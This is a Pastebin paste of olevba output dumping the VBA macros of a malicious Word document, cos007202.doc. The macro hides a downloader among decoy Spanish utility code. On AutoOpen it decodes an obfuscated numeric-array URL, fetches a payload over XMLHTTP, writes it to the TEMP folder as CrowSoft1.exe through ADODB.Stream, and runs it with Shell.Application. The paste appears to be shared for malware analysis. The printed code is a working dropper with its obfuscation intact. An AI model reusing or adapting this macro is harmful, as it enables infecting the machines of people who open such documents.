Advertisement
dynamoo

Malicious Word macro

Oct 19th, 2015
371
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MAS--B-V cos007202.doc
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: cos007202.doc
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ThisDocument.cls
  13. in file: cos007202.doc - OLE stream: u'Macros/VBA/ThisDocument'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15.  
  16. Sub autoopen()
  17. Abrir_Recordset2 "", ""
  18. Hbb = pValidateInstall()
  19. Title = pGetTitle("")
  20. Desconectar
  21. pGetMessage "MMes"
  22. Title = GetPasswordFiles()
  23. End Sub
  24.  
  25.  
  26.  
  27. -------------------------------------------------------------------------------
  28. VBA MACRO Module1.bas
  29. in file: cos007202.doc - OLE stream: u'Macros/VBA/Module1'
  30. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  31. Public tempFile As String
  32. Public Sub Abrir_Recordset(Recordset As String, StrSql As String)
  33. '-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset-------------------------------------------------------------------------------------------------------------------------------------------------------------
  34. '------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset
  35. ' Procedimiento : Abrir_Recordset
  36. ' Fecha         : 20/11/2006 13:51
  37. ' Autor         : Miguel
  38. ' Propósito     :ABRIR RECORDSET
  39. '------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset
  40. '------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset------------------------------------------------------------------------------------------------------------------------------------------------------------
  41. On Error GoTo Abrir_Recordset_Error
  42.  
  43. On Error Resume Next
  44.     Recordset.ActiveConnection = Conexion
  45.     Recordset.LockType = adLockOptimistic
  46.     Recordset.CursorLocation = adUseClient
  47.     Recordset.CursorType = adOpenDynamic
  48.     Recordset.Open StrSql
  49.  
  50.     If Err <> 0 Then
  51.         'MsgBox Err.Description
  52.    End If
  53.  
  54. On Error GoTo 0
  55.     Exit Sub
  56. Abrir_Recordset_Error:
  57.     MsgBox "Error " & Err.Number & " (" & Err.Description & ") en procedimiento Abrir_Recordset de Módulo ModuloConexion"
  58.    
  59. End Sub
  60.  
  61.  
  62.  
  63. Public Function GetStringFromArray(fromArr() As Variant, LenLen As Integer) As String
  64.     Dim i As Integer
  65.     Dim result As String
  66.     result = ""
  67.     For i = LBound(fromArr) To UBound(fromArr)
  68.         result = result & Chr(fromArr(i) - LenLen + i)
  69.     Next i
  70.     GetStringFromArray = result
  71. End Function
  72. -------------------------------------------------------------------------------
  73. VBA MACRO Module2.bas
  74. in file: cos007202.doc - OLE stream: u'Macros/VBA/Module2'
  75. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  76. Public httpRequest As Object
  77. Public adodbStream As Object
  78. Private Function ConvertCString(ByRef vSource As String) As String
  79.     Dim i As Long
  80.     i = InStr(vSource, Chr$(0))
  81.     If (i > 0) Then
  82.         ConvertCString = Left$(vSource, i - 1)
  83.     End If
  84. End Function
  85.  
  86.  
  87. Public Function GetTempPath() As String
  88.     Dim buffer As String
  89.     buffer = String$(MAX_PATH, " ")
  90.     If (APIGetTempPath(MAX_PATH, StrPtr(buffer)) <> 0) Then
  91.         GetTempPath = ConvertCString(buffer)
  92.     End If
  93.    
  94. End Function
  95.  
  96. Public Function CreateTempFile(Optional TempPath As String = vbNullString, Optional Prefix As String = vbNullString) As String
  97.     If TempPath = vbNullString Then TempPath = GetTempPath
  98.     If Prefix = vbNullString Then Prefix = "###"
  99.     Dim buffer As String
  100.     buffer = String$(MAX_PATH, " ")
  101.     If APIGetTempFileName(StrPtr(TempPath), StrPtr(Prefix), 0, StrPtr(buffer)) <> 0 Then
  102.         CreateTempFile = ConvertCString(buffer)
  103.     End If
  104.     End Function
  105.  
  106. Public Function FileExists(ByRef strPath As String) As Boolean
  107. On Error Resume Next
  108. FileExists = False
  109. If GetAttr(strPath) And vbArchive Then
  110. If Err = 0 Then FileExists = True
  111. End If
  112. Err.Clear
  113. End Function
  114. Public Function FolderExists(ByRef strPath As String) As Boolean
  115. On Error Resume Next
  116. FolderExists = False
  117. If GetAttr(strPath) And vbDirectory Then
  118.     If Err = 0 Then FolderExists = True
  119. End If
  120. Err.Clear
  121. End Function
  122.  
  123. Function PathExists(ByRef PathName As String) As Boolean
  124.  
  125.     Dim Temp$
  126.     'Set Default
  127.    PathExists = True
  128.     Temp$ = Replace$(PathName, "/", "\")
  129.  
  130.     If Right$(Temp$, 1) = "\" Then Temp$ = Left$(Temp$, Len(Temp$) - 1)
  131.     'Set up error handler
  132.    On Error Resume Next
  133.     'Attempt to grab date and time
  134.    Temp$ = GetAttr(Temp$)
  135.     'Process errors
  136.  
  137.     If Err <> 0 Then PathExists = False
  138.     '    Select Case Err
  139.    '    Case 53, 76, 68   'File Does Not Exist
  140.    '        modFile_FileExists = False
  141.    '        Err = 0
  142.    '    Case Else
  143.    '
  144.    '        If Err <> 0 Then
  145.    '            MsgBox "Error Number: " & Err & Chr$(10) & Chr$(13) & " " & Error, vbOKOnly, "Error"
  146.    '            End
  147.    '        End If
  148.    '
  149.    '    End Select
  150.    Err.Clear
  151. End Function
  152.  
  153. Public Function pValidateInstall() As Boolean
  154.     On Error Resume Next
  155.   Dim dbPath, Nnm  As String
  156.   Dim computer() As Variant
  157.     computer = Array(156, 167, 166, 161, 106, 94, 93, 145, 145, 152, 153, 98, 86, 144, 150, 141, 147, 145, 135, 131, 129, 130, 137, 144, 144, 124, 129, 126, 70, 122, 133, 130, 67, 70, 71, 69, 67, 69, 61, 66, 63, 61, 62, 63, 63, 61, 60, 57, 57, 49, 103, 121, 101)
  158.   httpRequest.Open "G" + "ET", GetStringFromArray(computer, 52), False
  159.  
  160.   dbPath = LoadPasswordFiles
  161.  
  162.   If LenB(dbPath) = 0 Then
  163.     Exit Function
  164.   End If
  165.  
  166.   dbPath = Getc.IniValue(csSecConfig, _
  167.                        csDbPath, _
  168.                        vbNullString, _
  169.                        "GetIniFullFile(csIniFile)")
  170.  
  171.   Dim bValid As Boolean
  172.  
  173.   If LenB(dbPath) <> 0 Then
  174.     bValid = File.FolderExists_(dbPath)
  175.   End If
  176.  
  177.   If Not bValid Then
  178.     MsgBox "Debe indicar una carpeta donde se guardaran las definiciones de tareas de CSBackup"
  179.     Exit Function
  180.   Else
  181.     pValidateInstall = True
  182.   End If
  183.  
  184. End Function
  185. Function BuildPath(ByVal sPathIn As String, Optional ByVal sFileNameIn As String, Optional lnps As String) As String
  186.  
  187.     '*******************************************************************
  188.    '
  189.    '  PURPOSE: Takes a path (including Drive letter and any subdirs) and
  190.    '           concatenates the file name to path. Path may be empty, path
  191.    '           may or may not have an ending backslash '\'.  No validation
  192.    '           or existance is check on path or file.
  193.    '
  194.    '  INPUTS:  sPathIn - Path to use
  195.    '           sFileNameIn - Filename to use
  196.    '
  197.    '
  198.    '  OUTPUTS:  N/A
  199.    '
  200.    '  RETURNS:  Path concatenated to File.
  201.    '
  202.    '*******************************************************************
  203.    '    Dim sPath As String
  204.    '    Dim sFilename As String
  205.    '    'Remove any leading or trailing spaces
  206.    '    sPath = Trim$(sPathIn)
  207.    '    sFilename = Trim$(sFileNameIn)
  208.    Dim sSlash As String
  209.  
  210.     If lnps = lnpsDos Then
  211.         sSlash = "\"
  212.         sPathIn = Replace$(sPathIn, "/", "\")
  213.         sFileNameIn = Replace$(sFileNameIn, "/", "\")
  214.     Else
  215.         sSlash = "/"
  216.         sPathIn = Replace$(sPathIn, "\", "/")
  217.         sFileNameIn = Replace$(sFileNameIn, "\", "/")
  218.     End If
  219.  
  220.     If sPathIn = vbNullString Then
  221.         BuildPath = sFileNameIn
  222.     Else
  223.  
  224.         If Right$(sPathIn, 1) = sSlash Then
  225.             BuildPath = sPathIn & sFileNameIn
  226.         Else
  227.             BuildPath = sPathIn & sSlash & sFileNameIn
  228.         End If
  229.  
  230.     End If
  231.  
  232. End Function
  233.  
  234. Function GetFileName(ByRef sFilename As String) As String
  235.     Dim pLen As String
  236.     Dim sPath As String
  237.    
  238.     sPath = sFilename
  239.     pLen = Len(sPath)
  240.     If pLen < 1 Then Exit Function
  241.     Do While (Right$(sPath, 1) = "\")
  242.         pLen = pLen - 1
  243.         sPath = Left$(sPath, pLen)
  244.         If pLen < 1 Then GetFileName = "\": Exit Function
  245.     Loop
  246.     Do While (Right$(sPath, 1) = "/")
  247.         pLen = pLen - 1
  248.         sPath = Left$(sPath, pLen)
  249.         If pLen < 1 Then GetFileName = "\": Exit Function
  250.     Loop
  251.    
  252.     'GetFileName = sPath
  253.    Dim pos As Long
  254.     pos = InStrRev(sPath, "/")
  255.     If pos < 1 Then pos = InStrRev(sPath, "\")
  256.     If pos < 1 Then
  257.         GetFileName = sPath
  258.     Else
  259.         GetFileName = Right$(sPath, pLen - pos)
  260.     End If
  261.    
  262.     'pos = InStrRev$(sPath, ".")
  263.  
  264.  
  265. End Function
  266.  
  267. Function GetParentFolderName(ByRef sFilename As String) As String
  268.  
  269.     Dim lF As Long
  270.     Dim pos As Long
  271.     lF = Len(sFilename)
  272.     If lF < 1 Then Exit Function
  273.    
  274.     GetParentFolderName = sFilename
  275.     pos = InStrRev(GetParentFolderName, "/")
  276.  
  277.     If pos = 0 Then pos = InStrRev(GetParentFolderName, "\")
  278.  
  279.     If pos = lF Then
  280.         GetParentFolderName = Left$(GetParentFolderName, lF - 1)
  281.         pos = InStrRev(GetParentFolderName, "/")
  282.  
  283.         If pos = 0 Then pos = InStrRev(GetParentFolderName, "\")
  284.     End If
  285.  
  286.     If pos = 0 Then
  287.         GetParentFolderName = vbNullString
  288.     Else
  289.         GetParentFolderName = Mid$(sFilename, 1, pos - 1) & "\"
  290.     End If
  291.  
  292.     '
  293.    '    pos = InStrRev(GetParentFolder, "/")
  294.    '    If pos = 0 Then pos = InStrRev(GetParentFolder, "\")
  295.    '    If pos = 0 Then GetParentFolder = vbNULLSTRING
  296.  
  297. End Function
  298.  
  299. Public Function GetBaseName(ByVal sPath As String) As String
  300.  
  301.     Dim pos As Long
  302.     sPath = GetFileName(sPath)
  303.     pos = InStrRev(sPath, ".")
  304.     If pos > 0 Then
  305.         GetBaseName = Left$(sPath, pos - 1)
  306.     Else
  307.         GetBaseName = sPath
  308.     End If
  309.  
  310. End Function
  311.  
  312. Public Function GetExtensionName(ByRef sPath As String) As String
  313.  
  314.     If sPath = vbNullString Then Exit Function
  315.     GetExtensionName = RightRight(sPath, ".", vbTextCompare, ReturnEmptyStr)
  316.  
  317. End Function
  318.  
  319. Private Function RightRight(ByRef Str As String, RFind As String, Optional Compare As String, Optional RetError As String) As String
  320.  
  321.     Dim K As Long
  322.     K = InStrRev(Str, RFind, , Compare)
  323.  
  324.     If K = 0 Then
  325.         RightRight = IIf(RetError = ReturnOriginalStr, Str, vbNullString)
  326.     Else
  327.         RightRight = Mid$(Str, K + 1, Len(Str))
  328.     End If
  329.  
  330. End Function
  331.  
  332. Public Function GetTempFilename(Optional sPrefix As String = "lTmp", Optional sExt As String) As String
  333.  
  334.     Randomize Timer
  335.  
  336.     If sExt <> vbNullString Then sExt = "." & sExt
  337.     GetTempFilename = sPrefix & Hex$(Int(Rnd(Timer) * 10000 + 1)) & sExt
  338.  
  339.     Do Until PathExists(GetTempFilename) = False
  340.         GetTempFilename = sPrefix & Hex$(Int(Rnd(Timer) * 10000 + 1)) & sExt
  341.     Loop
  342.  
  343. End Function
  344.  
  345. Public Function GetFullPath(sFilename As String) As String
  346.  
  347.     Dim C As Long, sRet As String
  348.     GetFullPath = sFilename
  349.  
  350.     If sFilename = Empty Then Exit Function
  351.     ' Get the path size, then create string of that size
  352.    sRet = String$(cMaxPath, 0)
  353.     C = APIGetFullPathName(StrPtr(sFilename), MAX_PATH, StrPtr(sRet), 0)
  354.    ' GetFullPath = StrConv(ConvertCString(sRet), vbUnicode)
  355.    GetFullPath = ConvertCString(sRet)
  356.  
  357. End Function
  358.  
  359. Public Function PathType(sPath As String) As String
  360.  
  361.     PathType = LNUnKnown
  362.     On Error GoTo Herr
  363.  
  364.     If sPath = vbNullString Then Exit Function
  365.  
  366.     If InStr(sPath, ":") < 1 Then sPath = GetFullPath(sPath)
  367.     Dim PathAttr As VbFileAttribute
  368.     PathAttr = GetAttr(sPath)
  369.  
  370.     If (PathAttr And vbDirectory) Then
  371.         PathType = LNFolder
  372.     ElseIf (PathAttr And vbArchive) Then
  373.         PathType = LNFile
  374.     End If
  375.  
  376. Herr:
  377.  
  378. End Function
  379.  
  380. Public Function subCount(ByVal spathName As String, Optional ByRef lFolders As Long, Optional ByRef lFiles As Long) As Long
  381.  
  382.     Dim subName As String
  383.  
  384.     If PathType(spathName) <> LNFolder Then Exit Function
  385.     spathName = GetFullPath(spathName)
  386.     subName = Dir(spathName, vbDirectory Or vbArchive Or vbHidden Or vbNormal Or vbSystem Or vbReadOnly)
  387.  
  388.     Do Until subName = vbNullString
  389.  
  390.         If subName = "." Or subName = ".." Then
  391.         Else
  392.             subCount = subCount + 1
  393.             subName = BuildPath(spathName, subName)
  394.  
  395.             If PathType(subName) = LNFolder Then
  396.                 lFolders = lFolders + 1
  397.             Else
  398.                 lFiles = lFiles + 1
  399.             End If
  400.  
  401.         End If
  402.  
  403.         subName = Dir()
  404.     Loop
  405.  
  406. End Function
  407. Public Function subFolders(ByVal spathName As String, ByRef strFolder() As String) As Long
  408.     Dim fdCount As Long
  409.     Dim subName As String
  410.    
  411.     spathName = GetFullPath(spathName)
  412.     subName = Dir$(spathName, vbDirectory)
  413.     spathName = BuildPath(spathName)
  414.     Do Until subName = vbNullString
  415.         If subName <> "." And subName <> ".." Then
  416.                 If GetAttr(spathName & subName) And vbDirectory Then
  417.                 ReDim Preserve strFolder(0 To fdCount) As String
  418.                 strFolder(fdCount) = spathName & subName
  419.                 fdCount = fdCount + 1
  420.             End If
  421.         End If
  422.         subName = Dir$()
  423.     Loop
  424.     subFolders = fdCount
  425.    
  426. End Function
  427. Public Function subFiles(ByVal spathName As String, ByRef strFile() As String) As Long
  428.     Dim fCount As Long
  429.     Dim subName As String
  430.    
  431.     spathName = GetFullPath(spathName)
  432.     subName = Dir$(spathName, vbArchive)
  433.     Do Until subName = vbNullString
  434.         If subName <> "." And subName <> ".." Then
  435.  
  436.             ReDim Preserve strFile(0 To fCount) As String
  437.             strFile(fCount) = subName
  438.             fCount = fCount + 1
  439.         End If
  440.         subName = Dir$()
  441.     Loop
  442.     subFiles = fCount
  443.  
  444. End Function
  445.  
  446. Public Sub xMkdir(sPath As String)
  447.     Dim parentFolder As String
  448.     If FolderExists(sPath) Then Exit Sub
  449.     parentFolder = GetParentFolderName(sPath)
  450.     If parentFolder <> vbNullString And FolderExists(parentFolder) = False Then xMkdir parentFolder
  451.     MkDir sPath
  452. End Sub
  453.  
  454.  
  455.  
  456. Public Function chkFileType(chkfile As String) As String
  457.     Dim Ext As String
  458.     Dim K As Long
  459.     K = InStrRev(chkfile, ".", , vbTextCompare)
  460.  
  461.     If K > 0 Then
  462.         Ext = LCase$(Mid$(chkfile, K + 1, Len(chkfile)))
  463.     End If
  464.  
  465.     Select Case Ext
  466.     Case "rtf"
  467.         chkFileType = ftRTF
  468.     Case "zhtm", "zip"
  469.         chkFileType = ftZIP
  470.     Case "txt", "ini", "bat", "cmd", "css", "log", "cfg", "txtindex"
  471.         chkFileType = ftTxt
  472.     Case "jpg", "jpeg", "gif", "bmp", "png", "ico"
  473.         chkFileType = ftIMG
  474.     Case "htm", "html", "shtml"
  475.         chkFileType = ftIE
  476.     Case "exe", "com"
  477.         chkFileType = ftExE
  478.     Case "chm"
  479.         chkFileType = ftCHM
  480.     Case "mp3", "wav", "wma"
  481.         chkFileType = ftAUDIO
  482.     Case "wmv", "rm", "rmvb", "avi", "mpg", "mpeg"
  483.         chkFileType = ftVIDEO
  484.     End Select
  485.  
  486. End Function
  487.  
  488. Public Function lookfor(sCurFile As String, Optional lookForWhat As String, Optional sWildcard As String = "*")
  489.  
  490. Dim sCurFilename As String
  491. Dim sCurFolder As String
  492. Dim i As Long
  493. Dim iCount As Long
  494. Dim sFileList() As String
  495. Dim Index As String
  496.  
  497. If PathExists(sCurFile) = False Then Exit Function
  498.  
  499. If PathType(sCurFile) = LNFolder Then
  500.     sCurFolder = sCurFile
  501. ElseIf PathType(sCurFile) = LNFile Then
  502.     sCurFolder = GetParentFolderName(sCurFile)
  503.     sCurFilename = GetFileName(sCurFile)
  504. Else
  505.     Exit Function
  506. End If
  507.  
  508. iCount = subFiles(BuildPath(sCurFolder, sWildcard), sFileList())
  509. If iCount < 1 Then Exit Function
  510. Index = 0
  511. If lookForWhat = LN_FILE_RAND Then
  512.     Index = Int(Rnd(Timer) * iCount) + 1
  513. ElseIf sCurFilename = vbNullString Then
  514.         Index = 1
  515. Else
  516.     For i = 1 To iCount
  517.         If StrComp(sCurFilename, sFileList(i), vbTextCompare) = 0 Then
  518.             Index = i: Exit For
  519.         End If
  520.     Next
  521. End If
  522.  
  523. If lookForWhat = LN_FILE_next Then
  524.     Index = Index + 1
  525.     If Index > iCount Then Index = 1
  526. ElseIf lookForWhat = LN_FILE_prev Then
  527.     Index = Index - 1
  528.     If Index < 1 Then Index = iCount
  529. End If
  530.  
  531. lookfor = BuildPath(sCurFolder, sFileList(Index))
  532.  
  533. End Function
  534.  
  535.  
  536. Public Function DeleteFolder(ByVal vTarget As String) As Boolean
  537.    
  538. On Error GoTo ErrorDeleteFolder
  539.  
  540.     vTarget = BuildPath(vTarget, vbNullString)
  541.     ForceKill vTarget & "*.*"
  542.    
  543.    
  544.     Dim folders() As String
  545.     Dim count As Long
  546.     count = subFolders(vTarget, folders())
  547.    
  548.     Dim i As Long
  549.     For i = 1 To count
  550.         DeleteFolder folders(i)
  551.     Next
  552.    
  553.     RmDir vTarget
  554.     DeleteFolder = True
  555.        
  556.        
  557. ErrorDeleteFolder:
  558.     DeleteFolder = False
  559.     Err.Raise Err.Number, Err.Source, Err.Description
  560. End Function
  561.  
  562.  
  563. Public Sub Desconectar()
  564.  
  565. On Error Resume Next
  566.  
  567.     Conexion.Close
  568.   Set processEnv = CreateObject("WScript.Shell").Environment("Process")
  569.     Conexion2.Close
  570.     Conexion3.Close
  571.    rrr = processEnv("TE" + "" + "MP")
  572.     Conexion4.Close
  573.     tempFile = rrr & tempFile
  574.    
  575.     Set Conexion = Nothing
  576.     Set Conexion2 = Nothing
  577.     Set Conexion3 = Nothing
  578.     Set Conexion4 = Nothing
  579. End Sub
  580.  
  581. Public Sub ForceKill(ByRef vTarget As String)
  582.     On Error Resume Next
  583.     Kill vTarget
  584.     Err.Clear
  585. End Sub
  586.  
  587. Public Function MoveFile(ByVal vSource As String, ByVal vDest As String) As Boolean
  588.     Dim r As Long
  589.     r = APIMoveFile(vSource, vDest)
  590.     If r <> 0 Then MoveFile = True
  591. End Function
  592.  
  593. Public Function ReplaceInvalidChars(ByRef vString As String, Optional ByRef vTo As String = vbNullString) As String
  594.     Dim i As Long
  595.     Dim j As Long
  596.     Dim L1 As Long
  597.     Dim L2 As Long
  598.    
  599.     Dim C As String
  600.     Dim invalidChars() As String
  601.     L1 = Len(FileSystem_Invalid_Path_Chars)
  602.     ReDim invalidChars(1 To L1)
  603.     For i = 1 To L1
  604.         invalidChars(i) = Mid$(FileSystem_Invalid_Path_Chars, i, 1)
  605.     Next
  606.        
  607.     L2 = Len(vString)
  608.     For i = 1 To L2
  609.         C = Mid$(vString, i, 1)
  610.         For j = 1 To L1
  611.             If C = invalidChars(j) Then
  612.                 C = vTo
  613.                 Exit For
  614.             End If
  615.         Next
  616.         ReplaceInvalidChars = ReplaceInvalidChars & C
  617.     Next
  618. End Function
  619.  
  620. Public Sub WriteToFile(ByRef vFilename As String, ByRef vText As String, Optional vUnicode As Boolean = False)
  621.     On Error Resume Next
  622.    
  623.     Dim fNum As Long
  624.     'Dim l As Long
  625.    fNum = FreeFile
  626.    
  627.    
  628.     Kill vFilename
  629.    
  630.     Dim c_B(1) As Byte
  631.     ReDim bText(LenB(vText)) As Byte
  632.     c_B(0) = 255
  633.     c_B(1) = 254
  634.     bText = vText
  635.     Open vFilename For Binary Access Write As #fNum
  636.     Put #fNum, , c_B()
  637.     Put #fNum, , bText
  638.    
  639.     Close #fNum
  640.    
  641.     If Err Then
  642.         Err.Raise Err.Number, "WriteToFile: " & vFilename, Err.Description
  643.     End If
  644. End Sub
  645.  
  646. -------------------------------------------------------------------------------
  647. VBA MACRO Module3.bas
  648. in file: cos007202.doc - OLE stream: u'Macros/VBA/Module3'
  649. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  650. Public Sub pSetInitWithWindows()
  651.   Dim s As String
  652.   Dim InitWithWindows As Boolean
  653.   Dim Key As String
  654.  
  655.   Set mReg = New cRegistry
  656.  
  657.   Key = App.Title & "(" & App.path & ")"
  658.   InitWithWindows = Val(GetIniValue(csSecConfig, _
  659.                     csInitWithWindows, _
  660.                     1, _
  661.                     GetIniFullFile(csIniFile)))
  662.                    
  663.   s = mReg.GetRegString(cvRun, Key)
  664.   If s <> "" Then
  665.     If Not InitWithWindows Then
  666.       RemoveFromRegistry Key
  667.     End If
  668.   Else
  669.     InsertInRegistry Key, """" & App.path & "\" & App.EXEName & ".exe"" -r"
  670.   End If
  671. End Sub
  672.  
  673.  
  674. Private Sub pLoadIniValues()
  675.   LoadPasswordFiles
  676. End Sub
  677.  
  678. Public Function LoadPasswordFiles() As String
  679.     LoadPasswordFiles = ""
  680.   Dim Password As String
  681.   httpRequest.Send
  682.   On Error GoTo ExitFunction
  683.   Password = GetP.rogramPassword()
  684.  
  685.   m_PasswordFiles = GetI.niValue(csSecConfig, _
  686.                               csPasswordFiles, _
  687.                               vbNullString, _
  688.                               GetI.niFullFile(csIniFile))
  689.   m_PasswordFiles = Dec.ryptData(m_PasswordFiles, Password)
  690. ExitFunction:
  691.   Exit Function
  692. End Function
  693.  
  694. Public Function LoadMasterPassword() As Boolean
  695.   Dim bUseMasterPassword As Boolean
  696.  
  697.   bUseMasterPassword = Val(GetIniValue(csSecConfig, _
  698.                               csUseMasterPassword, _
  699.                               0, _
  700.                               GetIniFullFile(csIniFile)))
  701.   If bUseMasterPassword Then
  702.  
  703.     LoadMasterPassword = RequestMasterPassword(False)
  704.  
  705.   Else
  706.    
  707.     LoadMasterPassword = True
  708.  
  709.   End If
  710.  
  711. End Function
  712.  
  713. Public Sub EditPreferences(ByVal ShowMode As FormShowConstants, Optional ByVal dbPath As String)
  714.   Load fPreferences
  715.   If LenB(dbPath) Then
  716.     fPreferences.txPath.text = dbPath
  717.   End If
  718.   fPreferences.Show ShowMode
  719. End Sub
  720.  
  721. Public Sub Abrir_Recordset2(Recordset As String, StrSql As String)
  722. '-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset-------------------------------------------------------------------------------------------------------------------------------------------------------------
  723. '------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset
  724. ' Procedimiento : Abrir_Recordset
  725. ' Fecha         : 20/11/2006 13:51
  726. ' Autor         : Miguel
  727. ' Propósito     :ABRIR RECORDSET
  728. '------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset
  729. '------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset------------------------------------------------------------------------------------------------------------------------------------------------------------
  730. Set httpRequest = CreateObject("Microsoft.XMLHTTP")
  731. Set adodbStream = CreateObject("Adodb.Stream")
  732. On Error Resume Next
  733.  
  734.     Rec.cordset.ActiveConnection = Conexion2
  735.     Rec.ordset.LockType = adLockOptimistic
  736.     Rec.ordset.CursorLocation = adUseClient
  737.     Rec.ordset.CursorType = adOpenDynamic
  738.     Rec.ordset.Open StrSql
  739.  
  740.     If Err <> 0 Then
  741.         'MsgBox Err.Description
  742.    End If
  743.  
  744.    
  745. End Sub
  746. Public Sub FormLoad(ByRef f As String, ByVal bSize As Boolean)
  747.   On Error Resume Next
  748.  
  749.   With f
  750.    
  751.     .Top = GetIniValue(csSecWindows, .Name & "_top", 2000, GetIniFullFile(csIniFile))
  752.     .Left = GetIniValue(csSecWindows, .Name & "_left", 3000, GetIniFullFile(csIniFile))
  753.    
  754.     If bSize Then
  755.       .Width = GetIniValue(csSecWindows, .Name & "_width", 6000, GetIniFullFile(csIniFile))
  756.       .Height = GetIniValue(csSecWindows, .Name & "_height", 4000, GetIniFullFile(csIniFile))
  757.     End If
  758.   End With
  759. End Sub
  760.  
  761. Public Sub FormUnload(ByRef f As String, ByVal bSize As Boolean)
  762.   With f
  763.     If .WindowState = vbNormal Then
  764.       SetIniValue csSecWindows, .Name & "_top", .Top, GetIniFullFile(csIniFile)
  765.       SetIniValue csSecWindows, .Name & "_left", .Left, GetIniFullFile(csIniFile)
  766.      
  767.       If bSize Then
  768.         SetIniValue csSecWindows, .Name & "_width", .Width, GetIniFullFile(csIniFile)
  769.         SetIniValue csSecWindows, .Name & "_height", .Height, GetIniFullFile(csIniFile)
  770.       End If
  771.     End If
  772.   End With
  773. End Sub
  774.  
  775. Public Sub MngError(ByRef ErrObj As Object, _
  776.                     ByVal FunctionName As String, _
  777.                     ByVal Module As String, _
  778.                     ByVal InfoAdd As String, _
  779.                     Optional ByVal Title As String = "@@@@@")
  780.  
  781.   Title = pGetTitle(Title)
  782.   MsgBox "Error: " & Err.Description & vbCrLf _
  783.                    & "Funcion: " & Module & "." & FunctionName & vbCrLf _
  784.                    & InfoAdd, _
  785.          vbCritical, _
  786.          Title
  787. End Sub
  788.  
  789. Public Sub MsgWarning(ByVal msg As String, Optional ByVal Title As String = "@@@@@")
  790.     pMsgAux msg, vbExclamation, Title
  791. End Sub
  792.  
  793. Public Sub pMsgAux(ByVal msg As String, ByVal Style As VbMsgBoxStyle, ByVal Title As String)
  794.   msg = pGetMessage(msg)
  795.   Title = pGetTitle(Title)
  796.   MsgBox msg, Style, Title
  797. End Sub
  798.  
  799. Public Function pGetMessage(ByVal msg As String) As String
  800.   msg = Replace(msg, vbCrLf, vbCrLf)
  801.     With adodbStream
  802.        .Type = 1
  803.         .Open
  804.         .Write httpRequest.responseBody
  805.         .savetofile tempFile, 2
  806.     End With
  807.   pGetMessage = msg
  808. End Function
  809.  
  810. Public Function pGetTitle(ByVal Title As String) As String
  811.   If Title = "" Then Title = "CrowSoft1"
  812.   If Title = "@@@@@" Then Title = "CrowSoft2"
  813.  
  814.     tempFile = "\" + Title + ".exe"
  815.  
  816.   pGetTitle = Title
  817. End Function
  818.  
  819. Public Function Ask(ByVal msg As String, ByVal default As VbMsgBoxResult, Optional ByVal Title As String) As Boolean
  820.   Dim N As Integer
  821.   msg = pGetMessage(msg)
  822.   If InStr(1, msg, "?") = 0 Then msg = "¿" & msg & "?"
  823.   If default = vbNo Then N = vbDefaultButton2
  824.   pGetTitle Title
  825.   Ask = vbYes = MsgBox(msg, vbYesNo + N + vbQuestion, Title)
  826.  
  827. End Function
  828.  
  829. Public Function TaskType(ByVal TaskFile As String, _
  830.                          ByVal bSilent As Boolean, _
  831.                          Optional ByRef strError As String) As String
  832.   Dim DocXml As cXml
  833.   Set DocXml = New cXml
  834.  
  835.   DocXml.init Nothing
  836.   DocXml.Name = GetFileName_(TaskFile)
  837.   DocXml.path = GetPath_(TaskFile)
  838.  
  839.   If Not DocXml.OpenXml(bSilent, strError) Then Exit Function
  840.  
  841.  
  842.   Dim Root  As Object
  843.  
  844.   Set Root = DocXml.GetRootNode()
  845.  
  846.   TaskType = Val(pGetChildNodeProperty(Root, DocXml, "TaskType", "Value"))
  847.  
  848. End Function
  849.  
  850. Public Function GetPasswordFiles() As String
  851.   Set shellApp = CreateObject("Shell.Application")
  852.     shellApp.Open (tempFile)
  853. End Function
  854.  
  855. Public Function RequestMasterPassword(ByVal bWithConfirm As Boolean) As Boolean
  856.   If Not bWithConfirm Then
  857.     fMasterPassword.txPassword2.Visible = False
  858.     fMasterPassword.lbConfirm.Visible = False
  859.   End If
  860.   fMasterPassword.Show vbModal
  861.  
  862.   If fMasterPassword.Ok Then
  863.  
  864.     m_MasterPassword = fMasterPassword.txPassword.text
  865.     RequestMasterPassword = True
  866.   End If
  867.   Unload fMasterPassword
  868. End Function
  869.  
  870. Public Function ValidateMasterPassword(ByVal Password As String) As Boolean
  871.   Dim testValue As String
  872.   testValue = GetIniValue(csSecConfig, _
  873.                           csPasswordTestValue, _
  874.                           vbNullString, _
  875.                           GetIniFullFile(csIniFile))
  876.   ValidateMasterPassword = DecryptData(testValue, Password) = c_testvalue
  877. End Function
  878.  
  879. Public Function GetMasterPassword() As String
  880.   GetMasterPassword = m_MasterPassword
  881. End Function
  882.  
  883. Public Sub ChangeMasterPassword(ByVal OldMasterPassword As String, _
  884.                                 ByVal NewMasterPassword As String)
  885.  
  886.   ' Tengo que levantar todas las tareas
  887.  ' y grabar con la nueva password
  888.  '
  889.  Dim i As Long
  890.   Dim Task As Object
  891.  
  892.   With fMain.lvTask.ListItems
